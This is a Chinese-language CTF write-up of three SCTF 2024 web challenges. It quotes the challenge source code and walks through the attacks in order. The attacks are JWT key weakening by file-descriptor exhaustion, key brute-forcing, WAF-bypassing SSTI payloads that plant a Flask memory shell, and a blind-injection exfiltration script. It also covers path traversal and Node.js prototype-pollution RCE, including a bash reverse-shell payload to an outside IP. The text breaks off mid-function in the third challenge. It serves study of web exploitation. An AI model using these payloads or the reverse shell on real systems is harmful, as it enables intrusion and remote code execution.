SCTF 2024 Web方向 题解WriteUp(部分)
Jay17 发表于 浙江 CTF 609浏览 · 2024-10-03 16:36

ezRender

题目描述:Just bypass and injection!!环境每隔十五分钟或者有人读取到flag则会进行重启,下面三个环境相同,推荐本地先打通再尝试远程

hint1:
ulimit -n =2048
cat /etc/timezone : UTC

附件给了所有源码:

app.py

from flask import Flask, render_template, request, render_template_string,redirect
from verify import *
from User import User
import base64
from waf import waf

app = Flask(__name__,static_folder="static",template_folder="templates")
user={}

@app.route('/register', methods=["POST","GET"])
def register():
    method=request.method
    if method=="GET":
        return render_template("register.html")
    if method=="POST":
        data = request.get_json()
        name = data["username"]
        pwd = data["password"]
        if name != None and pwd != None:
            if data["username"] in user:
                return "This name had been registered"
            else:
                user[name] = User(name, pwd)
                return "OK"

@app.route('/login', methods=["POST","GET"])
def login():
    method=request.method
    if method=="GET":
        return render_template("login.html")
    if method=="POST":
        data = request.get_json()
        name = data["username"]
        pwd = data["password"]
        if name != None and pwd != None:
            if name not in user:
                return "This account is not exist"
            else:
                if user[name].pwd == pwd:
                    token=generateToken(user[name])
                    return "OK",200,{"Set-Cookie":"Token="+token}
                else:
                    return "Wrong password"

@app.route('/admin', methods=["POST","GET"])
def admin():
    try:
        token = request.headers.get("Cookie")[6:]
    except:
        return "Please login first"
    else:
        infor = json.loads(base64.b64decode(token))
        name = infor["name"]
        token = infor["secret"]
        result = check(user[name], token)

    method=request.method
    if method=="GET":
        return render_template("admin.html",name=name)
    if method=="POST":
        template = request.form.get("code")
        if result != "True":
            return result, 401
        #just only blackList
        if waf(template):
            return "Hacker Found"
        result=render_template_string(template)
        print(result)
        if result !=None:
            return "OK"
        else:
            return "error"

@app.route('/', methods=["GET"])
def index():
    return redirect("login")

@app.route('/removeUser', methods=["POST"])
def remove():
    try:
        token = request.headers.get("Cookie")[6:]
    except:
        return "Please login first"
    else:
        infor = json.loads(base64.b64decode(token))
        name = infor["name"]
        token = infor["secret"]
        result = check(user[name], token)
    if result != "True":
        return result, 401

    rmuser=request.form.get("username")
    user.pop(rmuser)
    return "Successfully Removed:"+rmuser

if __name__ == '__main__':
    # for the safe
    del __builtins__.__dict__['eval']
    app.run(debug=False, host='0.0.0.0', port=8080)

User.py

import time
class User():
    def __init__(self,name,password):
        self.name=name
        self.pwd = password
        self.Registertime=str(time.time())[0:10]
        self.handle=None

        self.secret=self.setSecret()

    def handler(self):
        self.handle = open("/dev/random", "rb")
    def setSecret(self):
        secret = self.Registertime
        try:
            if self.handle == None:
                self.handler()
            secret += str(self.handle.read(22).hex())
        except Exception as e:
            print("this file is not exist or be removed")
        return secret

verify.py

import json
import hashlib
import base64
import jwt
from app import *
from User import *
def check(user,crypt):
    verify_c=crypt
    secret_key = user.secret
    try:
        decrypt_infor = jwt.decode(verify_c, secret_key, algorithms=['HS256'])
        if decrypt_infor["is_admin"]=="1":
            return "True"
        else:
            return "You r not admin"
    except:
        return 'Don\'t be a Hacker!!!'

def generateToken(user):
    secret_key=user.secret
    secret={"name":user.name,"is_admin":"0"}

    verify_c=jwt.encode(secret, secret_key, algorithm='HS256')
    infor={"name":user.name,"secret":verify_c}
    token=base64.b64encode(json.dumps(infor).encode()).decode()
    return token

waf.py

evilcode=["\\",
          "{%",
          "config",
          "session",
          "request",
          "self",
          "url_for",
          "current_app",
          "get_flashed_messages",
          "lipsum",
          "cycler",
          "joiner",
          "namespace",
          "chr",
          "request.",
          "|",
          "%c",
          "eval",
          "[",
          "]",
          "exec",
          "pop(",
          "get(",
          "setdefault",
          "getattr",
          ":",
          "os",
          "app"]
whiteList=[]
def waf(s):
    s=str(s.encode())[2:-1].replace("\\'","'").replace(" ","")
    if not s.isascii():
        return False
    else:
        for key in evilcode:
            if key in s:
                return True
    return False

粗略一看。需要以admin身份登录。然后在留言板处利用SSTI。其中用户身份是JWT判断的。SSTI存在大量WAF可见waf.py

先解决身份问题。看源码得知JWT密钥是注册的时间+很大的随机。总的密钥长度是:10 位 + 44 位 = 54 位

import time
class User():
    def __init__(self,name,password):
        self.name=name
        self.pwd = password
        self.Registertime=str(time.time())[0:10]
        self.handle=None

        self.secret=self.setSecret()

    def handler(self):
        self.handle = open("/dev/random", "rb")
    def setSecret(self):
        secret = self.Registertime
        try:
            if self.handle == None:
                self.handler()
            secret += str(self.handle.read(22).hex())
        except Exception as e:
            print("this file is not exist or be removed")
        return secret

Token的样式是JWT的base64

eyJuYW1lIjogImFkbWluIiwgInNlY3JldCI6ICJleUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKdVlXMWxJam9pWVdSdGFXNGlMQ0pwYzE5aFpHMXBiaUk2SWpBaWZRLlhLZmpXU1VkM2JYNEdXUjFCU1EwWUp0V0h5MVhwTzdnbEFNamlxdk1ucUUifQ==

base64解码

{"name": "admin", "secret": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJpc19hZG1pbiI6IjAifQ.XKfjWSUd3bX4GWR1BSQ0YJtWHy1XpO7glAMjiqvMnqE"}

尝试直接伪造,失败了。暂时看来这个JWT无解。

就在这个时候,上hint了:
ulimit -n =2048
cat /etc/timezone : UTC

ulimit -n 2048 指的是 同时 最大允许打开 2048 个文件描述符(文件、套接字等)。如果进程达到这个限制,尝试打开新文件时将会失败,通常会报类似 "Too many open files" 的错误。

同时JWT密钥的后面44位部分来自于文件/dev/random,他是开了不关的。

那就是说我注册2048个账号后,文件/dev/random就因为ulimit -n 2048 打不开了,导致JWT密钥只剩下10位时间戳。

首先注册2048个账号(需要注意的是注册账号多了,不仅随机数文件打不开,服务相关文件也打不开,此后所有操作均在yakit中执行,访问路由直接传参)

然后再注册一个账号Jay17,注册同时本地跑下时间戳是1727576418

import time
from datetime import datetime, timezone

# 打印 Unix 时间戳的前10位
print(str(time.time())[0:10])

# 将时间戳转换为 UTC 时间以验证
# utc_time = datetime.now(timezone.utc)
# print("当前 UTC 时间:", utc_time)

eyJuYW1lIjogIkpheTE3IiwgInNlY3JldCI6ICJleUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKdVlXMWxJam9pU21GNU1UY2lMQ0pwYzE5aFpHMXBiaUk2SWpBaWZRLjMtOWVoMWl1WkszM2libEN4V0lZR0FwZmNHUkVVWHBxaHQ4RkdLZ0c1N1UifQ==

解码后:

{"name": "Jay17", "secret": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSmF5MTciLCJpc19hZG1pbiI6IjAifQ.3-9eh1iuZK33iblCxWIYGApfcGREUXpqht8FGKgG57U"}

时间戳范围往前100开始爆破密钥

import jwt

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSmF5MTciLCJpc19hZG1pbiI6IjAifQ.3-9eh1iuZK33iblCxWIYGApfcGREUXpqht8FGKgG57U"      # 题目中的 token
#password_file = "C:\\Users\\86159\\PycharmProjects\\pythonProject\\WEB-xxx\\JWT\\jwtpassword.txt"           # 密码字典文件
password_file = "./jwtpassword.txt"  # 枚举密码字典文件

with open(password_file,'rb') as file:
    for line in file:
        line = line.strip()                          # 去除每行后面的换行
        try:
            jwt.decode(token, verify=True, key=line, algorithms="HS256") # 设置编码方式为 HS256
            print('key: ', line.decode('ascii'))
            break
        except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError
                , jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError,
                jwt.exceptions.ImmatureSignatureError):              # 出现这些错误,虽然表示过期之类的错误,但是密钥是正确的
            print("key: ", line.decode('ascii'))
            break
        except jwt.exceptions.InvalidSignatureError:                 # 签名错误则表示密钥不正确
            print("Failed: ", line.decode('ascii'))
            continue
    else:
        print("Not Found.")

伪造好的JWT:

eyJuYW1lIjogIkpheTE3IiwgInNlY3JldCI6ICJleUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKdVlXMWxJam9pU21GNU1UY2lMQ0pwYzE5aFpHMXBiaUk2SWpFaWZRLjBuVkp5NmpEaC0yRVRFWUtZWmcxNmFMTWxURTBDbFdzTWtxUzdfRmVEbjAifQ==

这题好像没回显

本地搭建是有回显的:

from flask import Flask, render_template, request, render_template_string,redirect


app = Flask(__name__,static_folder="static",template_folder="templates")


evilcode=["\\",
          "{%",
          "config",
          "session",
          "request",
          "self",
          "url_for",
          "current_app",
          "get_flashed_messages",
          "lipsum",
          "cycler",
          "joiner",
          "namespace",
          "chr",
          "request.",
          "|",
          "%c",
          "eval",
          "[",
          "]",
          "exec",
          "pop(",
          "get(",
          "setdefault",
          "getattr",
          ":",
          "os",
          "app"]
whiteList=[]
def waf(s):
    s=str(s.encode())[2:-1].replace("\\'","'").replace(" ","")
    if not s.isascii():
        return False
    else:
        for key in evilcode:
            if key in s:
                return True
    return False

@app.route('/', methods=["POST"])
def index():
    template = request.form.get("code")
    if waf(template):
     return "Hacker Found"

    result=render_template_string(template)
    return result



if __name__ == '__main__':
    # for the safe
    del __builtins__.__dict__['eval']
    app.run(debug=False, host='0.0.0.0', port=8080)

接下来就是思考如何SSTI了

看源码不难发现,eval被删掉了

if __name__ == '__main__':
    # for the safe
    del __builtins__.__dict__['eval']
    app.run(debug=False, host='0.0.0.0', port=8080)

先试试fenjing,打通了

{{x.__init__.__globals__.__builtins__.__import__('OS'.lower()).popen('echo f3n  j1ng;').read()}}

但是题目是无回显的,只能说明waf强度不高。我们得想办法利用。首先想到的就是内存马了。既然不让用eval那就用exec。

发现了两种拿exec的方法

code={{g.pop.__globals__.__builtins__.__getitem__('EXEC'.lower())("print('123')")}}
code={{g.pop.__globals__.__builtins__.__getitem__('ex''ec')("print('123')")}}

本地通远端不通。。。。

后来发现,多余用户是需要注销掉的/removeUser(给的源码总是有用的哈哈哈)。要不然开启不了新的文件,导致因为执行其他操作也要打开文件(比如说对于一些底层文件的调用)。

一切正常后继续凿题。

之前已经实现了exec执行任意代码

code={{g.pop.__globals__.__builtins__.__getitem__('EXEC'.lower())("print('123')")}}

exec中选择使用bytes.fromhex()函数编码需要执行的代码,16进制形式不受任何waf限制。同时需要两个exec,一个执行bytes.fromhex()解码,一个执行解码后的内存马rce。(也可以使用base64绕{{g.pop.__globals__.__builtins__.__getitem__('EXEC'.lower())("import base64;ex"+"ec(base64.b64decode(b'XXX').decode())}} )

内存马这里需要用新版的。

payload = "__import__(\"sys\").modules.__getitem__(\"__main__\").__dict__.__getitem__(\"APP\".lower()).before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen('/readflag').read())"
encoded_payload = payload.encode('utf-8').hex()
final_payload = f"bytes.fromhex('{encoded_payload}').decode('utf-8')"
print(final_payload)

payload:

code={{g.pop.__globals__.__builtins__.__getitem__('EXEC'.lower())("__import__('builtins').__dict__.__getitem__('EXEC'.lower())(bytes.fromhex('5f5f696d706f72745f5f282273797322292e6d6f64756c65732e5f5f6765746974656d5f5f28225f5f6d61696e5f5f22292e5f5f646963745f5f2e5f5f6765746974656d5f5f2822415050222e6c6f7765722829292e6265666f72655f726571756573745f66756e63732e73657464656661756c74284e6f6e652c205b5d292e617070656e64286c616d626461203a5f5f696d706f72745f5f28276f7327292e706f70656e28272f72656164666c616727292e72656164282929').decode('utf-8'))")}}

/admin路由下打SSTI,之后GET访问得到flag。

赛后交流发现有师傅是利用SSTI盲注拿flag的,学习下。(感谢Z3r4y师傅~)

import base64
import string

import requests

code = r"""import os
flag = os.popen('/readflag | base64 | tr "\n" "-"').read()

if flag[{}] {} '{}':
    print(1)
else:
    raise Exception('Wrong')"""

payload = """{{{{x.__init__.__globals__.__builtins__.__getitem__('ex''ec')(x.__init__.__globals__.__builtins__.__getitem__('__import__')('base64').b64decode('{}').decode(),x.__init__.__globals__)}}}}"""

final_flag = ""
for flag_len in range(0, 100):
    left, right = 32, 127
    while left <= right:
        mid = (left + right) // 2
        code_tmp = code.format(flag_len, '>=', chr(mid))
        payload_tmp = payload.format(base64.b64encode(code_tmp.encode()).decode())
        r = requests.post(
            "http://1.95.82.67:29505/admin",
            cookies={
                "Token": "eyJuYW1lIjogIm9MWEFoaCIsICJzZWNyZXQiOiAiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SnVZVzFsSWpvaWIweFlRV2hvSWl3aWFYTmZZV1J0YVc0aU9pSXhJbjAuNkIweEJ3YUdFS0psZU5DX3NEZ3pwX0x6dFJQZGF1dnNDaWo0X09QQmdBWSJ9"
            },
            data={
                "code": payload_tmp,
            },
        )
        if r.status_code == 200:
            left = mid + 1
        else:
            right = mid - 1

    final_flag += chr(right)
    print(final_flag)

    if chr(right) == '=':
        break

code 字符串

code = r"""import os
flag = os.popen('/readflag | base64 | tr "\n" "-"').read()

if flag[{}] {} '{}':
    print(1)
else:
    raise Exception('Wrong')"""

这个 code 字符串是待执行的代码模板。具体含义是:

  • 使用 os.popen 执行系统命令 /readflag,并对其输出进行 Base64 编码。命令 tr "\n" "-" 将换行符 \n 替换为 -,使得结果变成一行。
  • 该代码会检查 flag 中第 {} 个字符是否符合某种条件: {} 会被替换为字符索引以及判断符号(如 >=)。
  • 如果条件成立,打印 1;否则抛出异常。

payload 模板

payload = """{{{{x.__init__.__globals__.__builtins__.__getitem__('ex''ec')(x.__init__.__globals__.__builtins__.__getitem__('__import__')('base64').b64decode('{}').decode(),x.__init__.__globals__)}}}}"""

这个 payload 字符串是一个模板,包含 的SSTI(即 {{ ... }})。它的目的是通过注入代码来执行。

  • x.__init__.__globals__.__builtins__.__getitem__('ex''ec') 调用 exec 函数。
  • b64decode('{}') 表示该部分会被替换为 Base64 编码后的代码。然后解码并通过 exec 执行。

二分搜索主循环

final_flag = ""
for flag_len in range(0, 100):
    left, right = 32, 127
    while left <= right:
        mid = (left + right) // 2
        code_tmp = code.format(flag_len, '>=', chr(mid))
        payload_tmp = payload.format(base64.b64encode(code_tmp.encode()).decode())
        r = requests.post(
            "http://1.95.82.67:29505/admin",
            cookies={
                "Token": "..."  # 这里是用于身份验证的 Token
            },
            data={
                "code": payload_tmp,
            },
        )
        if r.status_code == 200:
            left = mid + 1
        else:
            right = mid - 1

这个部分实现了字符的二进制搜索:

  1. 初始化变量final_flag 用于存储最终的 flag,字符的可能范围是从 32(空格字符)到 127(ASCII 可打印字符的范围)。

  2. 二分搜索:在字符范围内进行二分搜索,判断 flag[flag_len] >= mid 是否成立。

    • code_tmp 是用于执行的代码,flag_len 是字符索引,mid 是当前搜索到的 ASCII 值。
    • 该代码通过 base64.b64encodecode_tmp 进行 Base64 编码后生成 payload_tmp
  3. 发送请求:使用 requests.post 向目标服务器发送带有 code 的请求,并使用特定的 Token 进行身份验证。

  4. 判断结果

    • 如果请求成功 (r.status_code == 200),表示 flag[flag_len] >= mid,于是调整搜索范围,增加 left
    • 否则,减少 right

      通过这个过程,可以逐步猜测出 flag 的每一个字符。

SycServer2.0

题目描述:去年VanZY的golang Server被师傅们打烂了,今年他给自己搓的客户端写了个新的服务端,嘿嘿,我狠狠的加密,看你们怎么打
注意:请进入环境下发题目容器,5000端口不在题目范围内,请不要攻击,容器会在30分钟后自动销毁,如果下发容器卡顿,请尝试另外两台服务器

开局先扫一下路由

/config路由中记录了RSA公钥,登录时候密码都是经过加密的

/robots.txt文件中包含了一个奇怪路由,但是需要登录后访问。

那么我们首先想办法登录。

根据前端加密撰写脚本。跑了几小时,逐渐发现他可能不是想让我爆破

import requests
import json
import base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from base64 import b64encode

# 模拟获取到的公钥(这里需要填写实际的公钥)
public_key_str = """-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ
TfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC
XmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe
I+Atul1rSE0APhHoPwIDAQAB
-----END PUBLIC KEY-----"""

# 已知的用户名
username = "admin"

# RSA加密函数
def encrypt_password(public_key_str, password):
    public_key = RSA.import_key(public_key_str)
    cipher = PKCS1_v1_5.new(public_key)
    encrypted_password = cipher.encrypt(password.encode())
    # 转换为base64编码,确保与前端JS加密匹配
    return b64encode(encrypted_password).decode('utf-8')

# 从文件中读取密码列表
def read_passwords_from_file(file_path):
    try:
        with open(file_path, 'r') as file:
            passwords = [line.strip() for line in file.readlines()]
        return passwords
    except FileNotFoundError:
        print(f"未找到文件: {file_path}")
        return []

# 爆破函数
def brute_force_login(password_file_path):
    password_list = read_passwords_from_file(password_file_path)
    if not password_list:
        print("密码列表为空,无法进行爆破。")
        return False

    for password in password_list:
        # 加密密码
        encrypted_password = encrypt_password(public_key_str, password)

        print(encrypted_password)
        # 准备发送的数据
        form_data = {
            'username': username,
            'password': encrypted_password
        }

        # 发送登录请求
        try:
            response = requests.post('http://1.95.83.156:21614/login',
                                     headers={'Content-Type': 'application/json'},
                                     data=json.dumps(form_data))

            # 获取服务器响应
            result = response.json()

            print(result)

            # 检查返回的 'message' 是否是 'Errow Password!'
            if result.get("message") == 'Errow Password!':
                print(f"[-] 登录失败,尝试密码: {password}")
            else:
                print(f"[+] 登录成功!用户名: {username}, 密码: {password}")
                return True  # 找到正确的密码,停止爆破

        except Exception as e:
            print(f"请求失败: {e}")
            continue

    print("爆破完成,未找到正确的密码。")
    return False



# 指定字典文件路径
password_file_path = "C:\\Users\\35393\\Desktop\\WEB!!!\\密码本\\1-密码本64.txt"

# 运行爆破程序
brute_force_login(password_file_path)

继续盯前端源码,存在sql的waf,那我试试sql

6

拿上cookie继续做题

读取源码(赛博厨子转zip)

/ExP0rtApi?v=static&f=1.jpeg
/ExP0rtApi?v=./&f=app.js

当然也可以这样子读文件:

/ExP0rtApi?v=..././..././..././..././..././..././&f=/etc/passwd

但是没权限读flag哈哈

源码:

const express = require('express');
const fs = require('fs');
var nodeRsa = require('node-rsa');
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');
const crypto = require('crypto');
const SECRET_KEY = crypto.randomBytes(16).toString('hex');
const path = require('path');
const zlib = require('zlib');
const mysql = require('mysql')
const handle = require('./handle');
const cp = require('child_process');
const cookieParser = require('cookie-parser');

const con = mysql.createConnection({
  host: 'localhost',
  user: 'ctf',
  password: 'ctf123123',
  port: '3306',
  database: 'sctf'
})
con.connect((err) => {
  if (err) {
    console.error('Error connecting to MySQL:', err.message);
    setTimeout(con.connect(), 2000); // 2秒后重试连接
  } else {
    console.log('Connected to MySQL');
  }
});

const {response} = require("express");
const req = require("express/lib/request");

var key = new nodeRsa({ b: 1024 });
key.setOptions({ encryptionScheme: 'pkcs1' });

var publicPem = `-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ\nTfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC\nXmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe\nI+Atul1rSE0APhHoPwIDAQAB\n-----END PUBLIC KEY-----`;
var privatePem = `-----BEGIN PRIVATE KEY-----
MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBALmcnNJe2PEAHa27
PlYP0H/+8tBN8JRNz4A7Ck10Gw7KhFy6m4GaHxdJWeblHgRdZLpysvkrctl7m87l
i+aKyoCrYgJeZYXgvBQhR+Tj/ZxAs2X4DRzOWyQFm+NBzM4pcH7K8/jEwNe5zWEi
6OeoWXA6kZ4j4C26XWtITQA+Eeg/AgMBAAECgYA+eBhLsUJgckKK2y8StgXdXkgI
lYK31yxUIwrHoKEOrFg6AVAfIWj/ZF+Ol2Qv4eLp4Xqc4+OmkLSSwK0CLYoTiZFY
Jal64w9KFiPUo1S2E9abggQ4omohGDhXzXfY+H8HO4ZRr0TL4GG+Q2SphkNIDk61
khWQdvN1bL13YVOugQJBAP77jr5Y8oUkIsQG+eEPoaykhe0PPO408GFm56sVS8aT
6sk6I63Byk/DOp1MEBFlDGIUWPjbjzwgYouYTbwLwv8CQQC6WjLfpPLBWAZ4nE78
dfoDzqFcmUN8KevjJI9B/rV2I8M/4f/UOD8cPEg8kzur7fHga04YfipaxT3Am1kG
mhrBAkEA90J56ZvXkcS48d7R8a122jOwq3FbZKNxdwKTJRRBpw9JXllCv/xsc2ye
KmrYKgYTPAj/PlOrUmMVLMlEmFXPgQJBAK4V6yaf6iOSfuEXbHZOJBSAaJ+fkbqh
UvqrwaSuNIi72f+IubxgGxzed8EW7gysSWQT+i3JVvna/tg6h40yU0ECQQCe7l8l
zIdwm/xUWl1jLyYgogexnj3exMfQISW5442erOtJK8MFuUJNHFMsJWgMKOup+pOg
xu/vfQ0A1jHRNC7t
-----END PRIVATE KEY-----`;

const app = express();
app.use(bodyParser.json());
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'static')));
app.use(cookieParser());

var Reportcache = {}

function verifyAdmin(req, res, next) {
  const token = req.cookies['auth_token'];

  if (!token) {
    return res.status(403).json({ message: 'No token provided' });
  }

  jwt.verify(token, SECRET_KEY, (err, decoded) => {
    if (err) {
      return res.status(403).json({ message: 'Failed to authenticate token' });
    }

    if (decoded.role !== 'admin') {
      return res.status(403).json({ message: 'Access denied. Admins only.' });
    }

    req.user = decoded;
    next();
  });
}

app.get('/hello', verifyAdmin ,(req, res)=> {
  res.send('<h1>Welcome Admin!!!</h1><br><img src="./1.jpeg" />');
});

app.get('/config', (req, res) => {
  res.json({
    publicKey: publicPem,
  });
});

var decrypt = function(body) {
  try {
    var pem = privatePem;
    var key = new nodeRsa(pem, {
      encryptionScheme: 'pkcs1',
      b: 1024
    });
    key.setOptions({ environment: "browser" });
    return key.decrypt(body, 'utf8');
  } catch (e) {
    console.error("decrypt error", e);
    return false;
  }
};

app.post('/login', (req, res) => {
  const encryptedPassword = req.body.password;
  const username = req.body.username;

  try {
    passwd = decrypt(encryptedPassword)
    if(username === 'admin') {
      const sql = `select (select password from user where username = 'admin') = '${passwd}';`
      con.query(sql, (err, rows) => {
        if (err) throw new Error(err.message);
        if (rows[0][Object.keys(rows[0])]) {
          const token = jwt.sign({username, role: username}, SECRET_KEY, {expiresIn: '1h'});
          res.cookie('auth_token', token, {secure: false});
          res.status(200).json({success: true, message: 'Login Successfully'});
        } else {
          res.status(200).json({success: false, message: 'Errow Password!'});
        }
      });
    } else {
      res.status(403).json({success: false, message: 'This Website Only Open for admin'});
    }
  } catch (error) {
    res.status(500).json({ success: false, message: 'Error decrypting password!' });
  }
});

app.get('/ExP0rtApi', verifyAdmin, (req, res) => {
  var rootpath = req.query.v;
  var file = req.query.f;

  file = file.replace(/\.\.\//g, '');
  rootpath = rootpath.replace(/\.\.\//g, '');

  if(rootpath === ''){
    if(file === ''){
      return res.status(500).send('try to find parameters HaHa');
    } else {
      rootpath = "static"
    }
  }

  const filePath = path.join(__dirname, rootpath + "/" + file);

  if (!fs.existsSync(filePath)) {
    return res.status(404).send('File not found');
  }
  fs.readFile(filePath, (err, fileData) => {
    if (err) {
      console.error('Error reading file:', err);
      return res.status(500).send('Error reading file');
    }

    zlib.gzip(fileData, (err, compressedData) => {
      if (err) {
        console.error('Error compressing file:', err);
        return res.status(500).send('Error compressing file');
      }
      const base64Data = compressedData.toString('base64');
      res.send(base64Data);
    });
  });
});

app.get("/report", verifyAdmin ,(req, res) => {
  res.sendFile(__dirname + "/static/report_noway_dirsearch.html");
});

app.post("/report", verifyAdmin ,(req, res) => {
  const {user, date, reportmessage} = req.body;
  if(Reportcache[user] === undefined) {
    Reportcache[user] = {};
  }
  Reportcache[user][date] = reportmessage
  res.status(200).send("<script>alert('Report Success');window.location.href='/report'</script>");
});

app.get('/countreport', (req, res) => {
  let count = 0;
  for (const user in Reportcache) {
    count += Object.keys(Reportcache[user]).length;
  }
  res.json({ count });
});

//查看当前运行用户
app.get("/VanZY_s_T3st", (req, res) => {
  var command = 'whoami';
  const cmd = cp.spawn(command ,[]);
  cmd.stdout.on('data', (data) => {
    res.status(200).end(data.toString());
  });
})

app.listen(3000, () => {
  console.log('Server running on http://localhost:3000');
});

发现const handle = require('./handle');,读取一下源码

/ExP0rtApi?v=static&f=//....//....//....//....//....//....//....//app/handle/index.js

/ExP0rtApi?v=static&f=//....//....//....//....//....//....//....//app/handle/child_process.js

handle/index.js

var ritm = require('require-in-the-middle');
var patchChildProcess = require('./child_process');

new ritm.Hook(
    ['child_process'],
    function (module, name) {
        switch (name) {
            case 'child_process': {
                return patchChildProcess(module);
            }
        }
    }
);

handle/child_process.js

function patchChildProcess(cp) {

    cp.execFile = new Proxy(cp.execFile, { apply: patchOptions(true) });
    cp.fork = new Proxy(cp.fork, { apply: patchOptions(true) });
    cp.spawn = new Proxy(cp.spawn, { apply: patchOptions(true) });
    cp.execFileSync = new Proxy(cp.execFileSync, { apply: patchOptions(true) });
    cp.execSync = new Proxy(cp.execSync, { apply: patchOptions() });
    cp.spawnSync = new Proxy(cp.spawnSync, { apply: patchOptions(true) });

    return cp;
}

function patchOptions(hasArgs) {
    return function apply(target, thisArg, args) {
        var pos = 1;
        if (pos === args.length) {
            args[pos] = prototypelessSpawnOpts();
        } else if (pos < args.length) {
            if (hasArgs && (Array.isArray(args[pos]) || args[pos] == null)) {
                pos++;
            }
            if (typeof args[pos] === 'object' && args[pos] !== null) {
                args[pos] = prototypelessSpawnOpts(args[pos]);
            } else if (args[pos] == null) {
                args[pos] = prototypelessSpawnOpts();
            } else if (typeof args[pos] === 'function') {
                args.splice(pos, 0, prototypelessSpawnOpts());
            }
        }

        return target.apply(thisArg, args);
    };
}

function prototypelessSpawnOpts(obj) {
    var prototypelessObj = Object.assign(Object.create(null), obj);
    prototypelessObj.env = Object.assign(Object.create(null), prototypelessObj.env || process.env);
    return prototypelessObj;
}

module.exports = patchChildProcess;

盯住这里,把var command污染成任意命令

污染点:

很明显的Node.js child_process.fork 与 env 污染 RCE。

怎么污染参考以下文章,本地调试建议使用IDEA:

网鼎杯2023线下半决赛突破题Errormsg复现 - VanZY's Blog

Node.js child_process.fork 与 env 污染 RCE | Yesterday17's Blog (mmf.moe)

GitHub - mpgn/CVE-2019-7609: RCE on Kibana versions before 5.6.15 and 6.6.0 in the Timelion visualizer

从Kibana-RCE对nodejs子进程创建的思考 - 先知社区 (aliyun.com)

payload1:(把/bin/sh换成/readflag

{"user":"__proto__","date":"2","reportmessage":{"shell":"/readflag"}}

访问/VanZY_s_T3st

payload2:(每次以node执行命令的时候,就会加载NODE_OPTIONS选项,从而执行/proc/self/cmdline中存在的js代码)

{"user":"__proto__","date":"2","reportmessage":{"shell":"/proc/self/exe","argv0":"console.log(require('child_process').execSync('bash -c \"/bin/sh -i >& /dev/tcp/124.71.147.99/1717 0>&1\"').toString())//","env":{"NODE_OPTIONS":"--require /proc/self/cmdline"}}}

payload3:(环境变量劫持)

{"user":"__proto__","date":"2","reportmessage":{"shell":"/bin/bash","env":{"BASH_FUNC_whoami%%":"() { /readflag;}"}}}

ezjump

题目描述:Just jump!

附件给了前后端源码:

前端没啥好看的

app.py

import os
import subprocess
import urllib.request

from flask import Flask, request, session, render_template

from Utils.utils import *

app = Flask(__name__)
app.secret_key = os.urandom(32)

@app.route('/', methods=['GET'])
def hello():
    return "Welcome to SCTF 2024! Have a Good Time!"


@app.route('/login', methods=['GET'])
def login():
    username = request.args.get("username")
    password = request.args.get("password")
    user =get_user(username)
    if user:
            if password == user['password']:
                if user['role']=="admin":
                    cmd=request.args.get("cmd")
                    if not cmd:
                        return "No command provided", 400
                    if waf(cmd):
                        return "nonono"
                    try:
                        result = subprocess.run(['curl', cmd], stdout=subprocess.PIPE, stderr=subprocess.PIPE,text=True,encoding='utf-8')
                        return result.stdout
                    except Exception as e:
                        return f"Error: {str(e)}", 500
                else:
                    session['username'] = username
                    session['role'] = user['role']
                return render_template('index.html', username=session['username'], role=session['role'])
            else:
                session['username'] = 'guest'
                session['role'] = 'noBody'
                return render_template('index.html', username=session['username'], role=session['role'])
    else:
            add_user(username, password, 'n0B0dy')
            user = get_user(username)
            if user:
                session['username'] = username
                session['role'] = 'noBody'
            else:
                session['username'] = 'guest'
                session['role'] = 'noBody'
            return render_template('index.html', username=session['username'], role=session['role'])
    return "Please give me username and password!"




if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=5000)

utils.py

import base64,json
from Utils import redis as r

def get_user(username):
    user_info_serialized = r.GET(f'user:{username}')
    if user_info_serialized:
        user_info = json.loads(base64.b64decode(user_info_serialized).decode())
        return user_info
    else:
        return None
    return None


def add_user(username, password, role):
    user_info = {'password': password, 'role': role}
    user_info_json = json.dumps(user_info)
    user_info_serialized = base64.b64encode(user_info_json.encode()).decode()
    r.SET(f'user:{username}', user_info_serialized)


def waf(url):
    if url.startswith(('file://', 'gopher://')):
        return True
    else:
        return False

redis.py

import socket


REDIS_HOST = '172.11.0.4'
REDIS_PORT = 6379


def pack_command(*args):
    # 构建 RESP 请求
    command = f"*{len(args)}\r\n"
    for arg in args:
        arg_str = str(arg)
        command += f"${len(arg_str)}\r\n{arg_str}\r\n"
    return command.encode('utf-8')



def connect_redis():
    redis_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    redis_socket.connect((REDIS_HOST, REDIS_PORT))
    return redis_socket



def GET(key):
    redis_socket = connect_redis()
    try:
        # 发送命令
